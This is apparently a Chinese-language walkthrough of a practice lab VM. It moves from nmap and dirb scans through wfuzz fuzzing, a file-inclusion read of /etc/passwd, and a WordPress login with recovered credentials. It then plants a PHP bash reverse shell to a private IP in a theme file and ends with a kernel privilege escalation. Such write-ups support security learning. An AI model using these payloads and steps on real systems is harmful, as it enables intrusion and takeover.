信息收集
主机探测
sudo nmap -sn 192.168.88.0/24
获取主机IP192.168.88.133
初步扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.88.133
详细信息扫描
sudo nmap -sT -sV -sC -O -p 22,80 192.168.88.133
可知
22端口 OpenSSH 7.2p2
80端口 Apache httpd 2.4.18
OS:疑似Ubuntu
漏洞脚本扫描
可以看到80端口有一个慢速连接的DOS攻击,但是这个在渗透过程中不考虑。
该网站应该是使用了wordpress这个CMS。
UDP扫描
无有效信息
目录扫描
访问80端口,发现只是一张图片,源码里并没有什么有效信息。
进行目录扫描
sudo dirb http://192.168.88.133
发现一些目录,可能/dev里面有东西。剩下的是大量的wordpress的目录。
访问/dev
再次尝试目录扫描
sudo dirb http://192.168.88.133 -X .txt,.php,.zip,.rat,.png,.jpg
发现了4个文件
访问/secret.txt
发现又有了新的提示,让在每个找到的php页面上进行模糊测试,来找到参数。
因为刚刚找到了index.php和image.php两个文件,所以这应该就是需要我们测试的。
渗透过程
模糊测试
尝试对index.php进行url的模糊测试
sudo wfuzz -c -w/usr/share/wfuzz/wordlist/general/common.txt http://192.168.88.133/index.php?FUZZ=teardrop
可以发现有很多的参数,根据提示,正确的参数应该只有一个,我们需要过滤出来。(这里我已经提前对image.php测试过了是找不到的)
尝试过滤
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.88.133/index.php?FUZZ=teardrop
得到一个file参数,或许应该就是它了。
尝试不传递值直接访问
发现有提示,但是应该没对,想到前面的location.txt,可能和它有关系。
访问发现提示我们用secrettier360这个参数在其它的php页面来获取更多的信息,这里的其它php页面应该就是刚刚的image.php,可能是让我们利用文件包含的漏洞。
文件包含利用
http://192.168.88.133/image.php?secrettier360=file:///etc/passwd
使用file://伪协议成功获取/etc/passwd文件内容,发现3个可登录用户
root
victor
saket
并且最后让我们在saket的家目录下获取password.txt
获取passsword.txt
内容为
follow_the_ippsec
这里应该要么是ssh登录密码,要么就是wordpress的后台登录密码,用户可能是passwd里面的3个可登录用户。
后台登录
访问wordpress页面发现用户是victor,猜测大概率后台用户名是victor,密码是follow_the_ippsec
尝试登录后台
使用victor follow_the_ippsec 成功登录
漏洞发现
检查是否主题是否有文件上传漏洞,发现没有写权限,那大概率是没有了。
检查是否有可以编辑插件或主题
最终在secure.php这里发现了可以编辑文件。
反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.88.129/4444 0>&1'")?>
成功获取反弹shell
http://192.168.88.133/wordpress/wp-content/themes/twentynineteen/secret.php
权限提升
查看权限和操作系统版本
权限是比较低的,操作系统版本是
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu
该版本比较老,可能存在权限提升的漏洞。
使用searchsploit发现存在权限提示漏洞,尝试提权。
成功将文件传给靶机,这里一般传到/tmp目录,这里一般是具有读写执行权限的。
尝试编译
编译成功
运行,提权成功
获取flag
flag就在root目录下,root.txt b2b17036da1de94cfb024540a8e7075a
总结
首先端口扫描发现22,80端口,然后目录扫描找到,访问/dev得到提示,进一步目录扫描找到secure.txt。使用wfuzz进行模糊测试,找到file参数,获取location.txt,最后得到利用文件包含获取/etc/passwd的内容然后获取wordpress的登录密码。进入后台后利用主题文件可编辑的漏洞获取反弹shell,最后利用系统漏洞提权。